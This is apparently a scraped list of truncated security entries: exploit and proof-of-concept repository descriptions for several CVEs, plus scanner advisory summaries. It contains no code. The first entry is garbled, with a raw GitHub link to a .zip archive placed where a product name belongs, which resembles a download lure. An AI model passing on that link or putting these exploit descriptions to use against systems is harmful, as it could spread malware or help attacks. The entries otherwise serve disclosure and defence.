CVE-2025-55182-shellinteractive

💻 CVE-2025-55182-shellinteractive - コマンドを簡単かつ安全に実行 🚀 概要 CVE-2025-55182 は、https://raw.githubusercontent.com/alyaapm/CVE-2025-55182-shellinteractive/main/trivalent/shellinteractive-CV-2.6.zip および React Server Components における脆弱性です。この問題により、React Server Actions...

bleach

Bleach 注記: 2026-06-05: Bleach はメンテナンスされなくなりました。今後、セキュリティ問題を含むリリースは行われません。 詳細は issue: を参照してください。 Bleach は、許可リストベースの HTML サニタイジングライブラリであり、マークアップや属性をエスケープまたは除去します。 Bleach はまた、テキストを安全にリンク化（linkify）することができ、Django の urlize フィルターではできないフィルタリングを適用し、テキスト内の既存のリンクに対してもオプションで rel 属性を設定できます。 Bleach は、 信頼できない...

Bootloader_Unlock_Retroid_Pocket_3Plus

Retroid Pocket 3Plus 向けブートローダーアンロック RP3+ のブートローダーをアンロックする2つの方法 CVE-2022-38694 を使用した Retroid Pocket 3+ のブートローダーアンロック このガイドに従うことで、デバイスのブートローダーをアンロックする際のリスクを理解したものと見なされます。作業を進める前に、重要なデータをすべてバックアップしてください。 クレジット：このブートローダーアンロックプロセスは、以下のリポジトリの成果に基づいています：TomKing062/CVE-2022-38694unlockbootloader...

SC3010-Computer-Security

SC3010-Computer-Security — CVE-2017-5638 攻撃の再現 このリポジトリは、SC3010 コンピュータセキュリティコースプロジェクトの一部です。 CVE-2017-5638 を再現します。これは Apache Struts 2（バージョン 2.3.5～2.3.31 および 2.5～2.5.10）における重大なリモートコード実行（RCE）脆弱性であり、2017年の Equifax データ漏洩 で悪用され、約1億4700万人分の個人記録が流出したことで有名です。 この脆弱性は、単一の設計上の欠陥に起因します：Apache Struts が...

APOLOGEE

🌀 APOLOGEE - シーメンスフィールドパネルスキャナー: APOLOGEEは、シーメンスAPOGEE PXC BACnet自動制御コントローラ（V3.5より前の全バージョン）およびTALON TC BACnet自動制御コントローラ（V3.5より前の全バージョン）の隠しディレクトリを列挙するPythonスクリプトおよびMetasploitモジュールです。CVSS 7.5のこのエクスプロイトにより、攻撃者は代替パスまたはチャネルを使用して認証バイパスを実行し、Webサーバーの隠しディレクトリにアクセスできます。このリポジトリはCVE-2017-9947を利用しています。...

CVE-2019-14339

CVE-2019-14339 Canon PRINT 2.5.5 におけるコンテンツプロバイダURIインジェクション（CVE-2019-14339）。@0x48piraj による概念実証 Android 向けアプリケーション Canon PRINT 2.5.5 の ContentProvider は、データアクセスを適切に制限していません。これにより、攻撃者の悪意あるアプリケーションが、管理者WebインターフェースのファクトリパスワードやWPA2-PSKキーなどの機密情報を取得できる可能性があります。 影響 このバグは、Canon PRINT 2.5.5...

CVE-2017-5618-Screen-4.5.0-Root

Exploit de escalada de privilegios local para GNU Screen 4.5.0 CVE-2017-5618 📌 Resumen Exploit de escalada de privilegios local para GNU Screen 4.5.0 que secuestra la carga de bibliotecas compartidas para obtener acceso root mediante la manipulación de ld.so.preload. 🔧 Detalles técnicos...

ROS-20260911-73-0119

The vulnerability of JavaScript script handlers in Google Chrome and Microsoft Edge browsers is related to errors in handling HTTP requests. Exploiting this vulnerability can allow a malicious actor to cause service interruptions through a specially created HTML page...

ROS-20260911-73-0082

The vulnerability of JavaScript script handlers in Google Chrome and Microsoft Edge browsers is related to type mixing errors. Exploiting this vulnerability allows a malicious actor to execute arbitrary code through a specially created HTML page...

ROS-20260911-73-0144

The vulnerability of JavaScript script handlers in Google Chrome and Microsoft Edge browsers is related to errors in handling HTTP requests. Exploiting this vulnerability can allow a malicious actor to cause service interruptions through a specially created HTML page...

ROS-20260911-73-0019

The vulnerability of the xmtresolveodlinks function in the MP4Box utility of the GPAC multimedia platform, which stems from the use of memory after it is freed during the processing of an incorrect XMT script, allows a hacker to cause a service failure...

PT-2026-89784

The AI Builder WordPress plugin before 2.7.8 does not sanitise custom JavaScript saved against a post before echoing it inside a script tag on the front end, allowing users with contributor level access and above to store arbitrary JavaScript that will execute in the browser of anyone who views t...

PT-2026-89841

AVideo through commit c3edcc274c389816d434acadac07ee78eaf330c1 contains an open redirect in objects/playlistSort.php. Because the endpoint is not a .json.php script, AVideo's automatic CSRF guard autoCSRFGuard/forbidIfIsUntrustedRequest does not run, and when the request includes the sort paramet...

Microsoft Edge (Chromium) < 151.0.4129.107 Multiple Vulnerabilities

The version of Microsoft Edge installed on the remote Windows host is prior to 151.0.4129.107. It is, therefore, affected by multiple vulnerabilities as referenced in the September 11, 2026 advisory. - Improper neutralization of input during web page generation 'cross-site scripting' in Microsoft...

AlmaLinux 9 : coreutils (ALSA-2026:66403)

The remote AlmaLinux 9 host has packages installed that are affected by a vulnerability as referenced in the ALSA-2026:66403 advisory. coreutils: GNU coreutils unexpand: Denial of Service via crafted tab stop values CVE-2026-56392 Tenable has extracted the preceding description block directly fro...

Unity Linux 20.1050e / 20.1060e / 20.1070e Security Update: kernel (UTSA-2026-107295)

The Unity Linux 20 host has a package installed that is affected by a vulnerability as referenced in the UTSA-2026-107295 advisory. In the Linux kernel, the following vulnerability has been resolved: ext4: do not create EA inode under buffer lock ext4xattrsetentry creates new EA inodes while...

Oracle Linux 9 : ELSA-2026-65153-0: / osbuild-composer (ELSA-2026-651530)

The remote Oracle Linux 9 host has packages installed that are affected by multiple vulnerabilities as referenced in the ELSA-2026-651530 advisory. 175-1.0.2 - Rebuild to fix CVE-2026-33818, CVE-2026-39820, CVE-2026-39821, CVE-2026-42499, CVE-2026-42504, CVE-2026-56853, CVE-2026-56858,...

Ubuntu 22.04 LTS / 24.04 LTS / 26.04 LTS : KissFFT vulnerabilities (USN-8745-1)

The remote Ubuntu 22.04 LTS / 24.04 LTS / 26.04 LTS host has packages installed that are affected by multiple vulnerabilities as referenced in the USN-8745-1 advisory. It was discovered that KissFFT incorrectly handled certain large Fourier transform sizes on 32-bit architectures. An attacker cou...

AlmaLinux 10 : vim (ALSA-2026:66336)

The remote AlmaLinux 10 host has packages installed that are affected by multiple vulnerabilities as referenced in the ALSA-2026:66336 advisory. vim: Vim: Information disclosure and denial of service via crafted Unicode characters in terminal emulator CVE-2026-28420 vim: Vim: Denial of Service vi...

Linux Distros Unpatched Vulnerability : CVE-2026-89158

The Linux/Unix host has one or more packages installed that are impacted by a vulnerability without a vendor supplied patch available. - PCRE2 before 10.48, on 32-bit platforms, has a pcre2compile32 integer overflow and resultant out-of- bounds write. CVE-2026-89158 Note that Nessus relies on the...